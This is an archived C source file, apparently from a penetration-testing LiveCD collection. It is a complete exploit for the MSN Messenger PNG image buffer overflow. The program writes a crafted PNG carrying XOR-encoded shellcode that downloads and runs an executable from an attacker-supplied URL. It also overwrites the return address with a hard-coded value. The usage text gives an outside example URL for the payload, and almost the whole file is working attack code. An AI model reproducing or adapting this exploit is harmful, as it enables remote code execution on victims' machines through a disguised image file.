home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / im / messenger / 20050209.MS05009.windows.c < prev    next >
C/C++ Source or Header  |  2005-03-04  |  5KB  |  151 lines

  1. /*
  2. *
  3. * MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
  4. * Bug discoveried by Core Security Technologies  (www.coresecurity.com)
  5. * Exploit coded By ATmaCA
  6. * Copyright ┬⌐2002-2005 AtmacaSoft Inc. All Rights Reserved.
  7. * Web: http://www.atmacasoft.com
  8. * E-Mail: atmaca@icqmail.com
  9. * Credit to kozan and delikon
  10. * Usage:exploit <OutputPath> <Url>
  11. *
  12. */
  13.  
  14. /*
  15. *
  16. * Tested with MSN Messenger 6.2.0137
  17. * This vulnerability can be exploited on Windows 2000 (all service packs)
  18. * and Windows XP (all service packs) that run vulnerable
  19. * clients of MSN Messenger.
  20. *
  21. */
  22.  
  23. /*
  24. *
  25. * After creating vuln png image, open
  26. * MSN Messenger and select it as your display picture in
  27. * "Tools->Change Display Picture".
  28. *
  29. */
  30.  
  31. #include <stdio.h>
  32. #include <stdlib.h>
  33. #include <conio.h>
  34. #include <string.h>
  35.  
  36.  
  37. #ifdef __BORLANDC__
  38.         #include <mem.h>
  39. #endif
  40.  
  41. #define NOP 0x90
  42.  
  43. char png_header[] =
  44. "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52"
  45. "\x00\x00\x00\x40\x00\x00\x00\x40\x08\x03\x00\x00\x00\x9D\xB7\x81"
  46. "\xEC\x00\x00\x01\xB9\x74\x52\x4E\x53";
  47.  
  48. char pngeof[] = "\x90\x90\x90\x59\xE8\x47\xFE\xFF\xFF";
  49.  
  50. /* Generic win32 http download shellcode
  51.    xored with 0x1d by delikon (http://delikon.de/) */
  52. char shellcode[] = "\xEB"
  53. "\x10\x58\x31\xC9\x66\x81\xE9\x22\xFF\x80\x30\x1D\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF"
  54. "\xFF\xFF\xF4\xD1\x1D\x1D\x1D\x42\xF5\x4B\x1D\x1D\x1D\x94\xDE\x4D\x75\x93\x53\x13"
  55. "\xF1\xF5\x7D\x1D\x1D\x1D\x2C\xD4\x7B\xA4\x72\x73\x4C\x75\x68\x6F\x71\x70\x49\xE2"
  56. "\xCD\x4D\x75\x2B\x07\x32\x6D\xF5\x5B\x1D\x1D\x1D\x2C\xD4\x4C\x4C\x90\x2A\x4B\x90"
  57. "\x6A\x15\x4B\x4C\xE2\xCD\x4E\x75\x85\xE3\x97\x13\xF5\x30\x1D\x1D\x1D\x4C\x4A\xE2"
  58. "\xCD\x2C\xD4\x54\xFF\xE3\x4E\x75\x63\xC5\xFF\x6E\xF5\x04\x1D\x1D\x1D\xE2\xCD\x48"
  59. "\x4B\x79\xBC\x2D\x1D\x1D\x1D\x96\x5D\x11\x96\x6D\x01\xB0\x96\x75\x15\x94\xF5\x43"
  60. "\x40\xDE\x4E\x48\x4B\x4A\x96\x71\x39\x05\x96\x58\x21\x96\x49\x18\x65\x1C\xF7\x96"
  61. "\x57\x05\x96\x47\x3D\x1C\xF6\xFE\x28\x54\x96\x29\x96\x1C\xF3\x2C\xE2\xE1\x2C\xDD"
  62. "\xB1\x25\xFD\x69\x1A\xDC\xD2\x10\x1C\xDA\xF6\xEF\x26\x61\x39\x09\x68\xFC\x96\x47"
  63. "\x39\x1C\xF6\x7B\x96\x11\x56\x96\x47\x01\x1C\xF6\x96\x19\x96\x1C\xF5\xF4\x1F\x1D"
  64. "\x1D\x1D\x2C\xDD\x94\xF7\x42\x43\x40\x46\xDE\xF5\x32\xE2\xE2\xE2\x70\x75\x75\x33"
  65. "\x78\x65\x78\x1D";
  66.  
  67. FILE           *di;
  68. int            i = 0;
  69. short int      weblength;
  70. char           *web;
  71. char           *pointer = NULL;
  72. char           *newshellcode;
  73.  
  74. /*xor cryptor*/
  75. char *Sifrele(char *Name1)
  76. {
  77.         char *Name=Name1;
  78.         char xor=0x1d;
  79.         int Size=strlen(Name);
  80.         for(i=0;i<Size;i++)
  81.                 Name[i]=Name[i]^xor;
  82.         return Name;
  83. }
  84.  
  85.  
  86. void main(int argc, char *argv[])
  87. {
  88.  
  89.         if (argc < 3)
  90.         {
  91.                 printf("MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit\n");
  92.                 printf("Bug discoveried by Core Security Technologies  (www.coresecurity.com)\n");
  93.                 printf("Exploit coded By ATmaCA\n");
  94.                 printf("Copyright ┬⌐2002-2005 AtmacaSoft Inc. All Rights Reserved.\n");
  95.                 printf("Web: http://www.atmacasoft.com\n");
  96.                 printf("E-Mail: atmaca@icqmail.com\n");
  97.                 printf("Credit to kozan and delikon\n\n");
  98.                 printf("\tUsage:exploit <OutputPath> <Url>\n");
  99.                 printf("\tExample:exploit vuln.png http://www.atmacasoft.com/exp/msg.exe\n");
  100.  
  101.                 return;
  102.         }
  103.  
  104.  
  105.     web = argv[2];
  106.  
  107.  
  108.         if( (di=fopen(argv[1],"wb")) == NULL )
  109.         {
  110.                 printf("Error opening file!\n");
  111.                 return;
  112.         }
  113.         for(i=0;i<sizeof(png_header)-1;i++)
  114.                 fputc(png_header[i],di);
  115.  
  116.         /*stuff in a couple of NOPs*/
  117.         for(i=0;i<99;i++)
  118.                 fputc(NOP,di);
  119.  
  120.         weblength=(short int)0xff22;
  121.         pointer=strstr(shellcode,"\x22\xff");
  122.     weblength-=strlen(web)+1;
  123.         memcpy(pointer,&weblength,2);
  124.         newshellcode = new char[sizeof(shellcode)+strlen(web)+1];
  125.         strcpy(newshellcode,shellcode);
  126.         strcat(newshellcode,Sifrele(web));
  127.         strcat(newshellcode,"\x1d");
  128.  
  129.         //shell code
  130.         for(i=0;i<strlen(newshellcode);i++)
  131.                 fputc(newshellcode[i],di);
  132.  
  133.  
  134.         for(i=0;i<(83-strlen(web));i++) //NOPs
  135.                 fputc(NOP,di);
  136.  
  137.     /*Overwriting the return address (EIP)*/
  138.         /*0x005E0547 - ret */
  139.         fputc(0x47,di);
  140.         fputc(0x05,di);
  141.         fputc(0x5e,di);
  142.         fputc(0x00,di);
  143.  
  144.         for(i=0;i<sizeof(pngeof)-1;i++)
  145.                 fputc(pngeof[i],di);
  146.  
  147.         printf("Vulnarable png file %s has been generated!\n",argv[1]);
  148.  
  149.         fclose(di);
  150. }
  151.